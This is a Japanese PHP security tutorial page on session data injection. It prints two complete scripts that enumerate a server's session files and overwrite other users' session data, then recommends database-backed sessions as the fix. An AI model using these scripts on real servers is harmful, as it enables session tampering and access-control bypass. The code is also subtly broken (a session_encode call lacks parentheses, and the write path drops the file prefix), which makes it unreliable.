ホームページ  >  記事  >  バックエンド開発  >  PHP セーフ プログラミング: セッション データ インジェクション

PHP セーフ プログラミング: セッション データ インジェクション

WBOY
WBOYオリジナル
2016-06-23 13:50:101076ブラウズ

セッションの公開と同様の問題はセッション インジェクションです。このタイプの攻撃は、Web サーバーがセッション ストレージ ディレクトリに対する読み取り権限だけでなく、書き込み権限も持っていることに基づいています。したがって、他のユーザーがセッションを追加、編集、削除できるようにするスクリプトを作成することができます。次の例は、ユーザーが既存のセッション データを簡単に編集できる HTML フォームを示しています:

<?phpsession_start();?><form action="inject.php" method="POST"><?php$path = ini_get('session.save_path');$handle = dir($path);while ($filename = $handle->read()){  if (substr($filename, 0, 5) == 'sess_')  {    $sess_data = file_get_contents("$path/$filename");    if (!empty($sess_data))    {      session_decode($sess_data);      $sess_data = $_SESSION;      $_SESSION = array();      $sess_name = substr($filename, 5);      $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');      echo "<h1>Session [$sess_name]</h1>";      foreach ($sess_data as $name => $value)      {        $name = htmlentities($name, ENT_QUOTES, 'UTF-8');        $value = htmlentities($value, ENT_QUOTES, 'UTF-8');        echo "<p>              $name:              <input type=\"text\"              name=\"{$sess_name}[{$name}]\"              value=\"$value\" />              </p>";      }      echo '<br />';    }  }}$handle->close();?><input type="submit" /></form>

スクリプト inject.php は、フォームで指定された変更を実行します:


<?phpsession_start();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data){  $_SESSION = $sess_data;  $sess_data = session_encode;  file_put_contents("$path/$sess_name", $sess_data);}$_SESSION = array();?>

このクラスは攻撃しますとても危険です。攻撃者はユーザーのデータだけでなく、自分自身のセッション データも編集する可能性があります。攻撃者がすべてのセッション データを選択して変更できるため、アクセス制限やその他のセキュリティ対策をバイパスできるため、セッション ハイジャックよりも強力です。

この問題に対する最善の解決策は、セッション データをデータベースに保存することです。このトピックの前半を参照してください。

多読

この記事のトピックリストは次のとおりです: http://www.nowwamagic.net/librarys/veda/detail/2079



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。